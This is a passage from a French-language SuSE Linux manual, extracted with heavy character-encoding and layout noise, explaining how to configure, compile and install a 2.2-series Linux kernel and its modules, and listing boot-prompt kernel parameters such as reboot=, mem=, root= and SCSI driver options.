Makefiles qui permettent d'automatiser presque entiΦrement la procΘdure.
Seules les questions posΘes au sujet du matΘriel que doit supporter le noyau
doivent Ωtre traitΘes en mode interactif.
La compilation de votre propre noyau n'est pas couverte par l'Assistance
Technique α l'Installation (voir paragraphe H.1.2 page 558). Nous sommes
toutefois volontiers disposΘs α vous aider dans le cadre de notre Service Pro
facturΘ sΘparΘment (voir paragraphe H.3 page 561).
_______________________________________________________________________________________________________________________||
|||||||| La description qui suit concerne essentiellement le noyau de la sΘrie 2.2.x. ||| |
|||||||| || |
|||||||| Bien que beaucoup de choses s'appliquent encore aux noyaux de la sΘ- || |
|||||||| rie 2.0.x, il faut cependant s'attendre α trouver, dans les dΘtails, certaines || |
|||||||| || |
|||||||| divergences qui bien que minimes peuvent avoir une importance dΘcisive ! || |
||||||||_______________________________________________________________________________________________________________||_
13.1 Les sources du noyau
Pour construire un nouveau noyau, il est bien entendu nΘcessaire d'avoir ins-
tallΘ aussi bien les sources du noyau (paquetage lx_suse) que le compila-
teur C au minimum (paquetage gcc) ainsi que les utilitaires GNU (paquetage
binutils) et les fichiers include pour le compilateur C (paquetage libc).
Ces paquetages sont contenus dans la sΘrie D (DΘveloppement). En rΦgle gΘ-
nΘrale, il est fortement conseillΘ d'installer le compilateur C car le langage de
programmation C est insΘparablement liΘ au systΦme d'exploitation Linux.
Les sources du noyau se trouvent dans le rΘpertoire /usr/src/linux. Au
cas o∙ vous auriez l'intention d'expΘrimenter certaines choses et d'avoir si-
*
* 359
13. Le noyau _________________________________________________________________________________________________________________*
*_______________________________________@
multanΘment plusieurs versions du noyau sur votre disque, la solution la plus
logique consiste α dΘcompresser ces versions dans diffΘrents sous-repertoires
et α accΘder aux sources dont vous avez besoin en passant par un lien. Cette
forme d'installation est rΘalisΘe par YaST en mode automatique.
Il est en fait possible d'installer et de compiler les sources du noyau dans
n'importe quel sous-rΘpertoire. Comme il existe toutefois de nombreux logi-
ciels qui s'attendent α trouver les sources du noyau sous /usr/src/linux, il
serait judicieux de choisir ce rΘpertoire afin de garantir une compilation sans
dΘfauts des programmes proches du systΦme.
13.2 Modules du noyau
Plusieurs pilotes et fonctionnalitΘs du noyau Linux n'ont maintenant plus be-
soin d'Ωtre compilΘs de faτon permanente dans le noyau mais peuvent Ωtre
chargΘs, en cours d'exΘcution, sous forme de modules du noyau (angl. kernel
module). Lors de la configuration du noyau, on dΘtermine les pilotes qui se-
ront inclus en permanence et ceux qui seront chargΘs sous forme de modules.
Les modules du noyau sont placΘs dans le rΘpertoire /lib/modules/ <Version> .
Ici, la variable <Version> correspond α la version actuelle du noyau (par
exemple 2.2.14).
Vous devriez tirer parti de cette fonctionnalitΘ aussi souvent que possible. La
rΦgle de base est la suivante : Tous les ΘlΘments du noyau qui ne sont pas
absolument indispensables pendant le processus d'amorτage devraient Ωtre
compilΘs sous forme de modules. Il est ainsi garanti que le noyau ne sera
pas trop gros et qu'il pourra Ωtre chargΘ sans difficultΘ par le BIOS et par
n'importe quel chargeur. Le pilote du disque dur, le support pour ext2 et
autres choses similaires doivent en gΘnΘral Ωtre directement compilΘs dans
le noyau, le support pour isofs , msdos ou sound devrait en tout cas Ωtre
compilΘ en module.
Manipulation des modules
Pour la manipulation des modules, vous disposez des commandes suivantes :
~ insmod
La commande insmod charge le module spΘcifiΘ. Il est recherchΘ dans un
sous-rΘpertoire de /lib/modules/<Version> . Nous vous recomman-
dons d'utiliser modprobe (voir plus bas) α la place de insmod
~ rmmod
dΘcharge le module spΘcifiΘ. Ceci n'est naturellement possible que si la
fonctionnalitΘ correspondante du noyau n'est plus utilisΘe. Il n'est donc
pas possible de dΘcharger le module isofs si un CD est encore montΘ.
~ depmod
Cette commande crΘe un fichier du nom de modules.dep dans le rΘ-
pertoire /lib/modules/<Version> qui contient la liste des dΘpen-
dances entre les diffΘrents modules. Il est ainsi garanti que lorsqu'un
module est chargΘ, tous les modules dont il dΘpend sont Θgalement char-
gΘs automatiquement. Si le lancement du dΘmon kerneld est prΘvu dans
360
______________________________________________________________________________________________13.2.__Modules_du_noyau_______*
*______________________
/etc/rc.config, le fichier devant contenir les dΘpendances des mo-
dules sera automatiquement gΘnΘrΘ au dΘmarrage du systΦme, α moins
bien s√r qu'il n'existe dΘjα.
~ modprobe
Chargement ou dΘchargement d'un module en tenant compte des dΘpen-
dances d'autres modules. Cette commande est trΦs puissante et peut Ωtre
utilisΘe pour beaucoup d'autres choses (pour tester par exemple tous les
modules d'un type particulier jusqu'α ce que l'un d'entre d'eux puisse Ωtre
chargΘ avec succΦs). Contrairement α ce qui se passe lors du chargement
α l'aide de insmod , modprobe lit le contenu du fichier /etc/modules.
conf. Il convient donc, en rΦgle gΘnΘrale, de l'utiliser pour le chargement
des modules. Pour une description dΘtaillΘe de toutes les possibilitΘs, lisez
les pages de man qui se rapportent α ces sujets.
~ lsmod
Affiche la liste des modules actuellement chargΘs et vous fait savoir par
combien d'autres modules ils sont utilisΘs. Les modules chargΘs par le
dΘmon kerneld sont suivis de la mention (autoclean) . Cela signifie que
ces modules seront automatiquement supprimΘs lorsqu'ils n'auront pas
ΘtΘ utilisΘs pendant un certain temps.
/etc/modules.conf
On peut influer sur le chargement des modules α l'aide du fichier /etc/
modules.conf ; voir page de man de depmod (man depmod ).
Remarque : └ partir de SuSE Linux 6.3, le nom du fichier /etc/conf.
modules a ΘtΘ modifiΘ pour devenir /etc/modules.conf.
Il est en particulier possible d'insΘrer dans ce fichier les paramΦtres pour les
modules qui accΦdent directement au matΘriel et doivent de ce fait Ωtre adaptΘs
α un systΦme spΘcifique (par exemple lecteurs de CD-ROM ou pilotes de rΘ-
seau). Les paramΦtres entrΘs ici sont en principe identiques α ceux transmis α
l'invite d'amorτage (par exemple de LILO , voir paragraphe 14.3.2 page 370).
Dans de nombreux cas cependant, les noms diffΦrent de ceux utilisΘs α l'in-
vite d'amorτage (voir α titre comparatif le paragraphe 14.3.4 page 383). Si
le chargement d'un module n'a pas rΘussi, essayez de spΘcifier votre matΘriel
dans ce fichier et utilisez, pour le chargement du module, modprobe α la place
de insmod .
Kmod ~ Le chargeur de modules du noyau
La maniΦre la plus ΘlΘgante d'utiliser les modules du noyau consiste, depuis
la version 2.2.x, α lancer le ``chargeur de modules'' Kmod qui remplace le
``vieux'' dΘmon kerneld .
Kmod tourne en arriΦre-plan et veille α ce que les modules nΘcessaires soient
chargΘs avec modprobe dΦs que la fonction correspondante du noyau est
requise.
Pour pouvoir utiliser Kmod , vous devez activer l'option `Kernel module
loader' (CONFIG_KMOD ) lors de la configuration du noyau.
*
* 361
13. Le noyau _________________________________________________________________________________________________________________*
*_______________________________________@
Les pilotes nΘcessaires pour accΘder au systΦme de fichiers racine doivent Ωtre
inclus en permanence dans le noyau. Vous ne devriez donc configurer ni votre
pilote SCSI ni le systΦme de fichiers de la partition racine (habituellement
ext2 ) sous forme de modules !
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Comme SuSE Linux utilise maintenant initrd (angl. initial ramdisk) qui *
* |||
| lui sert par exemple α intΘgrer le pilote SCSI, vous devez penser, lors de *
* |||
| *
* |||
| la crΘation de votre propre noyau, α modifier la variable INITRD_MODULES *
* |||
| dans le fichier /etc/rc.config (paragraphe 17.6 page 453) et α mettre *
* |||
| *
* |||
| la ligne initrd en commentaire dans le fichier /etc/lilo.conf (voir le *
* |||
| paragraphe 16.2.5 page 427). ~ Si vous omettez de le faire, le noyau se *
* |||
| *
* |||
| plantera lors de l'amorτage ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
L'utilisation de modules du noyau s'impose tout particuliΦrement pour les
fonctionnalitΘs dont on se sert rarement ou de faτon irrΘguliΦre comme par
exemple parport et le support d'impression, les pilotes pour lecteurs de
disquettes ou certains systΦmes de fichiers qui ne sont utilisΘs que de faτon
occasionnelle.
Kmod n'a pas ΘtΘ conτu pour dΘcharger automatiquement les modules.
Compte tenu de la quantitΘ de RAM dont disposent aujourd'hui les or-
dinateurs, le gain de mΘmoire serait nΘgligeable. Voir aussi /usr/src/
linux/Documentation/kmod.txt. Pour les machines serveurs qui ont
des fonctions particuliΦres α remplir et n'ont besoin que d'un petit nombre
de pilotes, on prΘfΦre, pour des raisons de performances, utiliser un noyau
``monolithique''.
13.3 Configuration du noyau
La configuration du noyau sΘlectionnΘ au cours de l'installation ou de la
mise α jour se trouve dans le fichier /usr/src/linux/.config (voir pa-
ragraphe 2.2.9 page 38). Ce fichier ne dΘcrit toutefois que le noyau et non pas
les modules provenant du paquetage kernmod. Si vous voulez aussi recompi-
ler des modules, vous devez les sΘlectionner explicitement.
La configuration du noyau peut Ωtre rΘalisΘe de trois maniΦres diffΘrentes :
1. depuis la ligne de commande
2. dans le menu en mode texte
3. dans le menu sous le systΦme X Window
Ces trois mΘthodes vont maintenant vous Ωtre prΘsentΘes briΦvement.
Configuration depuis la ligne de commande
Pour configurer le noyau, passez α /usr/src/linux et tapez la commande
suivante :
terre:/usr/src/linux # make config
On vous posera des questions sur toute une sΘrie de fonctionnalitΘs du sys-
tΦme que le noyau doit supporter. Vous pouvez normalement rΘpondre α ces
362
_______________________________________________________________13.4.__ParamΦtres_de_configuration_du_noyau__________________*
*______________________
questions de deux ou trois maniΦres diffΘrentes : _soit simplement | __|yet_| __|n
soit en__choisissant l'une des trois possibilitΘs |_y| (angl. yes), |_n| (angl. no)
et m ||||||_(angl. module). Dans ce cas, `m' signifie que le pilote correspondant
n'est pas inclus de faτon permanente dans le noyau mais qu'il est compilΘ
sous forme de module chargΘ en cours d'exΘcution du noyau. Il va de soi que
tous les pilotes absolument indispensables α l'amorτage du systΦme doivent
Ωtre inclus_en permanence dans le noyau. Dans de tels cas, vous devez donc
choisir |y_ |.
Si vous rΘpondez α une question en pressant une autre touche, vous verrez
l'affichage d'un bref message d'aide concernant l'option en question.
Configuration en mode texte
Une mΘthode plus plaisante de configuration consiste α utiliser la commande RecommandΘ !
terre:/usr/src/linux # make menuconfig
Cela vous Θvite tout particuliΦrement d'avoir α vous ``frayer un chemin'' au
travers d'une multitude de questions pour apporter de lΘgΦres modifications α
votre configuration.
Configuration sous le systΦme X Window
Si vous avec installΘ le systΦme X Window (paquetage xf86) ainsi que Tcl/Tk
(paquetage tcl et paquetage tk), vous avez l'alternative d'effectuer votre
configuration en tapant
terre:/usr/src/linux # make xconfig
Vous avez alors une interface graphique qui rend la configuration plus confor-
table. Pour cela, vous devez toutefois dΘmarrer le systΦme X Window sous le
compte `root' car il vous faudrait autrement prendre des mesures supplΘ-
mentaires pour avoir accΦs α l'affichage d'un autre utilisateur Θventuel.
13.4 ParamΦtres de configuration du noyau
Il n'est pas possible de dΘcrire ici en dΘtail les diffΘrentes possibilitΘs de Textes d'aide
configuration du noyau. Il vous est donc conseillΘ de tirer parti des nombreux
textes d'aide relatifs α ce sujet. La documentation la plus rΘcente se trouve
toujours sous les sources du noyau dans le rΘpertoire /usr/src/linux/
Documentation.
13.5 Compilation du noyau
_______________________________________________________________________________________________________________________||
|||||||| Supprimez le cas ΘchΘant, dans le Makefile principal (vers la ligne 74), ||| |
|||||||| le caractΦre de commentaire placΘ devant INSTALL_PATH=/boot afin que || |
|||||||| || |
|||||||| votre noyau puisse Ωtre installΘ simplement dans /boot. || |
||||||||_______________________________________________________________________________________________________________||_
Nous vous conseillons de gΘnΘrer un ``bzImage''. On peut gΘnΘralement Θviter
de cette maniΦre que le noyau devienne trop gros ainsi qu'il arrive facilement
lorsque l'on sΘlectionne un trop grand nombre de fonctionnalitΘs et que l'on
*
* 363
13. Le noyau _________________________________________________________________________________________________________________*
*_______________________________________@
crΘe un ``zImage'' (on voit alors apparaεtre les messages typiques "kernel
too big÷ u "System is too big").
AprΦs avoir configurΘ le noyau en fonction de vos besoins, vous commencerez
la compilation :
terre:/usr/src/linux # make dep
terre:/usr/src/linux # make clean
terre:/usr/src/linux # make bzImage
Vous pouvez aussi insΘrer ces 3 commandes dans une ligne de commande.
Elles seront exΘcutΘes l'une aprΦs l'autre. Ceci comporte certains avantages
si vous voulez faire effectuer la compilation du noyau automatiquement, par
exemple ``de nuit'' : Pour cela, tapez :
terre:/usr/src/linux # make dep clean bzImage
Selon la performance de votre systΦme, il faut compter de quelques minutes
(processeurs rapides AMD Athlon / Intel Pentium III )1 α quelques heures
(386 avec 8 Mo) avant que le noyau soit recompilΘ. Pendant ce processus,
vous pouvez bien s√r continuer α vous occuper de votre systΦme sur une autre
console.
Lorsque la compilation aura ΘtΘ menΘe α bien, vous trouverez votre noyau
compressΘ dans le rΘpertoire /usr/src/linux/arch/i386 /boot. L'image
du noyau ~ le fichier qui contient le noyau ~ se nomme bzImage. Si vous
ne trouvez pas ce fichier, cela signifie qu'il s'est probablement produit une
erreur pendant la compilation du noyau. Elle a pu Θventuellement passer in-
aperτue parmi les nombreux messages affichΘs α l'Θcran. Pour vΘrifier s'il
s'est vraiment produit une erreur, vous pourrez avec
terre:/usr/src/linux # make bzImage
remettre en route la compilation du noyau et prΩter attention aux messages
d'erreur. Pas de panique : Il se produit trΦs rarement des erreurs lors de la
compilation du noyau !
Sous bash, vous pouvez avec
terre:/usr/src/linux # make bzImage 2>&1 | tee kernel.out
faire effectuer une copie des affichages du processus de compilation dans le
fichier k.out ; sous Tcsh, la commande est :
terre:/usr/src/linux # make bzImage |& tee kernel.out
Si vous avez configurΘ certaines parties du noyau sous forme de modules
chargeables, vous devrez ensuite faire compiler ces modules. Pour cela, tapez
la commande
terre:/usr/src/linux # make modules
13.6 Installer le noyau
Lorsque le noyau a ΘtΘ compilΘ, vous devrez faire en sorte qu'il soit en-
suite amorcΘ. Si vous utilisez LILO , celui-ci devra Ωtre rΘinstallΘ. Dans le
_____________________________________________1
Une mΘthode volontiers employΘe pour tester le matΘriel et les logiciels consiste α compiler
le noyau avec l'option make -j . Vous avez besoin d'une grande quantitΘ de mΘmoire pour ce
test (jusqu'α 100 Mo). Un compilateur particulier est dΘmarrΘ pour chacun des fichiers sources α
compiler.
364
_______________________________________________________________________________________________13.6.__Installer_le_noyau____*
*______________________
cas le plus simple, vous copierez le nouveau noyau vers /boot/vmlinuz
(voir paragraphe 13.5 page 363) et vous invoquerez ensuite LILO . Afin d'Θvi-
ter de dΘsagrΘables surprises, il est prudent de conserver le vieux noyau
(/boot/vmlinuz.old) pour pouvoir l'amorcer au cas o∙ le nouveau noyau
ne fonctionnerait pas comme prΘvu :
terre:/usr/src/linux # cp /boot/vmlinuz /boot/vmlinuz.old
terre:/usr/src/linux # cp arch/i386/boot/bzImage /boot/vmlinuz
terre:/usr/src/linux # lilo
La cible du Makefile make bzlilo exΘcute ces 3 phases en une seule opΘra-
tion.
Les modules compilΘs doivent encore Ωtre installΘs. En entrant
terre:/usr/src/linux # make modules_install
vous pouvez les faires copier dans les rΘpertoires cibles appropriΘs (/lib/
modules/<Version> ),
_______________________________________________________________________________________________________________________||
|||||||| Vous devez veiller α ce que les modules que vous compilez soient sup- ||| |
|||||||| || |
|||||||| primΘs sous /lib/modules<Version> car il risque de se produire des || |
|||||||| effets imprΘvisibles. C'est pourquoi, il est fortement dΘconseillΘ α l'utili- || |
|||||||| || |
|||||||| sateur possΘdant encore peu d'expΘrience de compiler lui-mΩme le noyau. || |
||||||||_______________________________________________________________________________________________________________||_
Ajoutez dans votre fichier /etc/lilo.conf un label Linux.old comme
image de boot (voir paragraphe 4.4.1 page 124) et changez le nom de votre
vieux noyau en /boot/vmlinuz.old. Vous Ωtes ainsi assurΘ de pouvoir en-
core amorcer avec votre ancien noyau au cas o∙ ce ne serait pas possible avec
le nouveau. Ceci est dΘcrit en dΘtail au chapitre 4 page 117.
Lorsque vous aurez apportΘ au fichier /etc/lilo.conf les modifications
que vous souhaitiez, vouz devrez lancer de nouveau la commande
terre:/usr/src/linux # lilo
Si vous lancez Linux α partir de DOS par linux.bat ~ donc au moyen
de loadlin ~ vous devez encore copier le nouveau noyau vers /dosc/
loadlin/bzimage2 afin qu'il puisse Ωtre actif lors du prochain amorτage.
Si vous lancez Linux au moyen du gestionnaire de dΘmarrage de Win-
dows NT, vous ne devez pas oublier de recopier le secteur d'amorτage de
LILO (voir paragraphe 4.7.2 page 135).
Il faut Θgalement tenir compte de ce qui suit : Le fichier /boot/System.map
contient des symboles du noyau nΘcessitΘs par les modules pour pouvoir
invoquer correctement les fonctions du noyau. Ce fichier dΘpend du noyau
actuel. En consΘquence, vous devriez aprΦs la compilation et l'installation
du noyau, copier le fichier courant3 /usr/src/linux/System.map dans le
rΘpertoire /boot. Si vous gΘnΘrez vos noyaux au moyen de make bzlilo ou
de make zlilo , cette tΓche sera exΘcutΘe pour vous automatiquement.
Si lors de l'amorτage vous recevez un message d'erreur tel que "System.map
does not match actual kernel", cela signifie probablement que le fi-
chier System.map n'a pas ΘtΘ copiΘ vers /boot aprΦs la compilation du
noyau.
2 ____________________________________________________
ou vers l'endroit o∙ vous avez fait installer le rΘpertoire loadlin
3 Ce fichier est recrΘΘ α chaque compilation du noyau.
*
* 365
13. Le noyau _________________________________________________________________________________________________________________*
*_______________________________________@
13.7 CrΘer une disquette d'amorτage
Si vous voulez crΘer une disquette d'amorτage avec votre nouveau noyau, il
vous suffit de taper la commande :
terre:/usr/src/linux # make bzdisk
13.8 Faire le mΘnage sur le disque dur aprΦs la compilation
du noyau
Vous pouvez effacer les fichiers cibles gΘnΘrΘs pendant la compilation du
noyau si vous avez des problΦmes avec l'espace disque :
terre: # cd /usr/src/linux
terre:/usr/src/linux # make clean
Mais si vous avez suffisamment de place sur le disque et si vous avez l'inten-
tion de reconfigurer assez souvent votre noyau, sautez cette derniΦre phase.
Une nouvelle compilation du noyau sera nettement plus rapide puisque seules
les parties du systΦme concernΘes par les modifications seront recompilΘes.
366
Chapitre 14
ParamΦtres du noyau
14.1 Pilotes insΘrΘs dans le noyau
Il existe un trΦs grand nombre de composants matΘriels de PC. Pour pouvoir
bien utiliser ce matΘriel, il est nΘcessaire d'avoir un ``pilote'' qui permette au
systΦme d'exploitation (dans le cas de Linux le ``noyau'') de communiquer
correctement avec le matΘriel. On distingue en rΦgle gΘnΘrale deux mΘca-
nismes d'intΘgration des pilotes dans le noyau.
1. Les pilotes peuvent Ωtre inclus en permanence dans le noyau. Nous dΘsi-
gnons, dans le prΘsent manuel, de tels noyaux ``d'une seule piΦce'' sous
le nom de noyaux ``monolithiques''. Certains pilotes n'existent que sous
cette forme.
2. Les pilotes peuvent Ωtre chargΘs en cas de besoin dans le noyau qui est dΘ-
signΘ dans ce cas sous le nom de noyau modulaire. Ceci prΘsente l'avan-
tage que seuls les pilotes vraiment nΘcessaires sont chargΘs et que le
noyau n'est pas inutilement encombrΘ. Le noyau contenu sur la disquette
d'amorτage SuSE fonctionne avec des modules et peut ainsi manipuler la
plupart des configurations matΘrielles.
Que les pilotes soient inclus en permanence dans le noyau ou qu'ils soient
chargΘs, il peut arriver que le noyau ne soit pas en mesure, dans un cas comme
dans l'autre, de reconnaεtre par lui-mΩme l'un des composants matΘriels. Vous
avez alors la possibilitΘ de lui ``donner un coup de pouce'' en spΘcifiant plus
exactement ce composant matΘriel au moyen de paramΦtres.
~ Ils font savoir au pilote quel matΘriel vous possΘdez et de quelle ma-
niΦre vous devez y accΘder (par exemple zone d'adressage, interruption
et autres choses similaires). Le pilote peut parfois le dΘcouvrir seul, mais
il est plus rapide et plus s√r que vous preniez vous-mΩme les choses en
main.
~ Dans les cas problΘmatiques il vous est Θventuellement possible, avec
des paramΦtres du noyau spΘciaux, d'amener quand mΩme votre systΦme
Linux α se mettre en marche.
Dans le cas de noyaux monolithiques, les paramΦtres doivent Ωtre transmis
au noyau α l'invite d'amorτage ou par un chargeur d'amorτage1 . Les pilotes
1 ____________________________________________________
Pour cette raison, ces paramΦtres sont aussi appelΘs paramΦtres LILO , du nom du chargeur
traditionnel pour architectures x86.
*
* 367
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
sous forme de modules reτoivent leurs paramΦtres par la commande insmod
ou modprobe qui permet de charger aussi le module en mΩme temps.
Remarque : Vous devez spΘcifier les paramΦtres lors de chaque amorτage car
le noyau n'apprend malheureusement rien. Plus tard, aprΦs l'installation, vous
pourrez inscrire des paramΦtres du noyau dans les fichiers /etc/lilo.conf
ou /etc/modules.conf et ils seront ainsi exploitΘs automatiquement par
LILO ou par modprobe .
Malheureusement, le format utilisΘ pour spΘcifier les paramΦtres est diffΘrent
selon qu'il s'agisse de pilotes inclus dans le noyau ou de pilotes chargΘs sous
forme de modules. C'est pourquoi les paramΦtres dont vous trouverez la liste
plus bas sont soigneusement sΘparΘs. Pour quelques modules peu nombreux
(lecteurs de CD-ROM), le mode de transmission des paramΦtres a cependant
ΘtΘ unifiΘ et il est ainsi possible de spΘcifier, lors du chargement d'un module,
les mΩmes paramΦtres qu'α l'invite de LILO .
14.2 Quelques astuces
Avant d'en arriver aux listes des paramΦtres, encore quelques astuces concer-
nant la reconnaissance du matΘriel par les pilotes ainsi que la spΘcification
des paramΦtres :
~ La plupart des pilotes peuvent exΘcuter ce que l'on appelle une dΘtec-
tion automatique (angl. autoprobing). Cela signifie que le pilote essaie
diffΘrentes adresses sous lesquelles se trouve habituellement le compo-
sant concernΘ. Il peut toutefois arriver que le pilote dΘtecte un composant
qu'il n'a pas α gΘrer et qu'il l'initialise par erreur. Ceci peut entraεner un
plantage de la machine.
~ Il arrive aussi occasionnellement qu'il soit possible de charger avec succΦs
un module bien que le matΘriel qu'il gΦre normalement ne soit pas prΘ-
sent dans la machine (ceci s'applique surtout aux pilotes de cartes rΘseau
3Com).
Vous devriez malgrΘ tout, afin de simplifier les choses, faire d'abord exΘ-
cuter une dΘtection automatique. Il vous sera toujours possible de dΘchar-
ger les pilotes chargΘs par erreur. Dans le cas o∙ le matΘriel ne serait pas
reconnu, vous pouvez essayer, par une spΘcification des paramΦtres, de
faire connaεtre la configuration au noyau afin qu'il soit quand mΩme en
mesure d'accΘder correctement aux composants.
~ Il existe enfin certains composants matΘriels pouvant Ωtre gΘrΘs par
plusieurs pilotes (NCR 53C810 , Ultrastor ). Selon les informations que
nous possΘdons, il semble qu'aucun des deux pilotes Ultrastor ne prΘ-
sente un avantage particulier par rapport α l'autre. Le pilote BSD pour
le NCR53C810 supporte aussi les autres produits NCR53C8xx (par
exemple 53C875) alors que seul le pilote NCR ancien modΦle supporte
les graveurs de CD. Faites tout simplement un essai pour savoir quel
pilote reconnaεt votre matΘriel de faτon fiable.
Si vous venez d'amorcer, le clavier amΘricain est encore actif. Comparez avec
l'illustration de la figure 14.1 page suivante.
368
__________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
*______________________
_______________________________________________________________________________________________________________________||||
|||||||| |
||||||||| ||
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fig. 14.1: Disposition des touches d'un clavier amΘricain
14.3 Les paramΦtres
14.3.1 Notation et signification
Dans les listes de paramΦtres du noyau qui vont suivre, vous trouverez les
diffΘrents pΘriphΘriques ou leurs pilotes ainsi que les paramΦtres d'appel qu'il
est possible ou indispensable d'utiliser. Les paramΦtres apparaissent toujours
avec la mΩme signification :
______________________________________________________________________________________________________________________
<addr> SpΘcification du port en hexadΘcimal (par
exemple 0x300)
<irq> Interruption sous laquelle il est accΘdΘ au
pΘriphΘrique (par exemple 7)
<dma> Canal DMA par lequel le pΘriphΘrique
communique
(par exemple 1)
<adresse d'implantation>,
<adresse finale> zone de mΘmoire hexadicimale pour mΘ-
moire partagΘe
______________________________________________________________________________________________________________________
Tab. 14.1: DΘnomination de variables frΘquemment utilisΘes pour les
paramΦtres du noyau
Dans ce qui suit, il sera surtout fait une description des paramΦtres essentiels
α la rΘussite de l'installation. Il existe Θgalement toute une sΘrie d'autres pa-
ramΦtres utilisΘs α des fins particuliΦres. Notez aussi que pour la spΘcification
des paramΦtres il est impΘratif de diffΘrencier les majuscules des minuscules !
AprΦs l'installation, vous trouverez dans le BootPrompt-HOWTO, sous /usr/
doc/howto ainsi que dans les sources du noyau, dans le fichier /usr/src/
linux/Documentation/kernel-parameters.txt, une introduction dΘ-
taillΘe aux paramΦtres du noyau qu'il est possible d'utiliser.
*
* 369
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
14.3.2 ParamΦtres transmis au noyau α l'invite d'amorτage
Les paramΦtres ΘnumΘrΘs dans ce paragraphe ne peuvent Ωtre transmis au
noyau que directement, par exemple α l'invite d'amorτage de SYSLINUX
(disquette d'amorτage fournie), α l'invite de LILO ou au moyen de loadlin .
Si le pilote concernΘ doit Ωtre utilisΘ sous forme de module chargeable, voyez
au paragraphe 14.3.4 page 383 les paramΦtres α utiliser dans ce cas.
________________________________________________________________________________________________________*
*________||
| Tous les paramΦtres nΘcessaires α un pilote doivent Ωtre spΘcifiΘs direc- *
* ||||
| tement les uns derriΦre les autres, sΘparΘs par des virgules ! Il ne doit en *
* |||
| *
* |||
| aucun cas y avoir d'espace entre les paramΦtres spΘcifiΘs ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Pour dΘfinir par exemple les paramΦtres pour le pilote aha1542 α l'invite
d'amorτage, faites l'entrΘe suivante en tenant compte du fait que le nom du
fichier du noyau doit toujours Ωtre spΘcifiΘ en premier lieu (sur la disquette
d'amorτage SuSE , le nom du noyau est linux !) :
linux aha1542=0x300
ParamΦtres gΘnΘraux d'amorτage
ParamΦtres Il est possible, avec quelques paramΦtres, d'influer sur le comporte-
gΘnΘraux ment gΘnΘral du noyau Linux (voir la page de man de bootparam
(man 7 bootparam )).
~ Mode de redΘmarrage (reboot) (en quittant Linux)
reboot=<mode>
dans ce cas, on utilise pour <mode> les valeurs suivantes :
___________________________________________________________________________________________________
|__Variable____|____Valeurs_/_Signification_______________________________________________|_______*
*__
| <mode> |warm RedΘmarrage α chaud (sans test mΘmoire) |
| |cold RedΘmarrage α froid (avec test mΘmoire) |
| |bios RedΘmarrage avec routine du BIOS |
|__________________|hard_____RedΘmarrage_par_blocage_du_CPU_(triple_fault)__|______________________
Exemple : reboot=cold
dΘmarre la machine aprΦs l'arrΩt de Linux, de la mΩme maniΦre que si la
touche de remise α zΘro avait ΘtΘ pressΘe.
~ Protection de zones d'E/S (rΘserver)
reserve=<dΘbut1>,<largeur1>,...,<dΘbutN>,<largeurN>
└ l'aide de ce paramΦtre, vous pouvez rΘserver des zones d'E/S pour des
composants matΘriels qui ne tolΦrent pas une dΘtection automatique de
leur adresse d'E/S et rΘagissent par exemple en provoquant un effondre-
ment du systΦme.
Exemple : en entrant
reserve=0x330,32 ether=5,0x330,eth0
il est possible de protΘger contre la dΘtection automatique une carte rΘseau
sensible qui peut cependant Ωtre initialisΘe. Dans notre exemple, la carte
370
__________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
*______________________
rΘseau a une zone de 32 adresses commenτant par l'adresse 0x330, et
l'interruption 5.
Pour connaεtre la signification des paramΦtres des cartes rΘseau, reportez-
vous au paragraphe 14.3.2 page 378.
~ Montage de la partition racine (root)
root=<partition>
________________________________________________________________________________________
||__Variable_____________|___Valeurs_/_Signification_________________________|___________
||__<partition>______________|par_exemple_/dev/hda1,_/dev/sdb5__|_______________________
Exemple : root=/dev/hda5
amorce le noyau et tente de monter la partition root de la premiΦre unitΘ
logique dans la partition Θtendue sur le premier disque dur (E)IDE.
~ Taille de la mΘmoire centrale (RAM)
mem=<taille>
Vous pouvez spΘcifier la taille de la + mΘmoire en octets, kilo-octets
ou mΘga-octets. Les exemples ci-dessous vous montrent deux notations
diffΘrentes pour 96 Mo de RAM
Exemples :
mem=96M
mem=98304k
Dans de trΦs rares cas, il peut arriver que la carte mΦre ou le chipset ne
puisse pas libΘrer la totalitΘ de la mΘmoire. Tenez alors compte de la mΘ-
moire utilisΘe par la carte mΦre ou le chipset (une quantitΘ pouvant at-
teindre 512 Ko est tout α fait possible). Vous pouvez, en procΘdant par
tat⌠nnement, rΘussir α dΘcouvrir le chiffre exact. Mais pour plus de faci-
litΘ, partez plut⌠t du principe qu'il s'agit de 512 Ko comme dans notre
exemple :
mem=5ff8000
Si vous utilisez un clone de Pentium, vous pouvez par l'entrΘe
mem=nopentium
inciter une machine qui refuse de dΘmarrer α se mettre au travail.
Contr⌠leurs SCSI et sous-systΦme SCSI
Il est possible d'influencer la plupart des contr⌠leurs SCSI en utilisant des Contr⌠leurs
paramΦtres. SCSI
~ Lecteurs de bandes SCSI (streamers)
st=<tampon>,<seuil>[,<max>]
____________________________________________________________________________________________
||__Variable_______|___Valeurs_/_Signification__________________________________|____________
|| <tampon> T|aille du tampon (nombre de blocs de 1 Ko) |
|| <seuil> S|euil d'Θcriture (nombre de blocs de 1 Ko) |
||_____________________(|angl._write_threshold)__________________________________|__________
Exemple : st=1000,2000
*
* 371
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
~ Nombre de pΘriphΘriques SCSI par ID
max_scsi_luns=<nombre>
___________________________________________________________
|__Variable_______|_____Valeurs_/_Signification__|__________
|__<nombre>____________|1..8______________________________|_
Exemple :
Lorsque seul le premier LUN (angl. logical unit number) doit est utilisΘ,
le paramΦtre max_scsi_luns=1 doit Ωtre positionnΘ.
Les changeurs de CD constituent une application typique. Dans ce cas, le
nombre de CD utilisables correspond au paramΦtre max_scsi_luns
~ Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 adaptateur h⌠te SCSI
aha152x=<addr>,<irq>,<id>[,<rec>[,<par>[,<sync>[,
<delay>[<ext_trans>]]]]]
__________________________________________________________________________________________________*
*__________________
|__Variable______________________________________________|____Valeurs_/_Signification_____________*
*________|__________
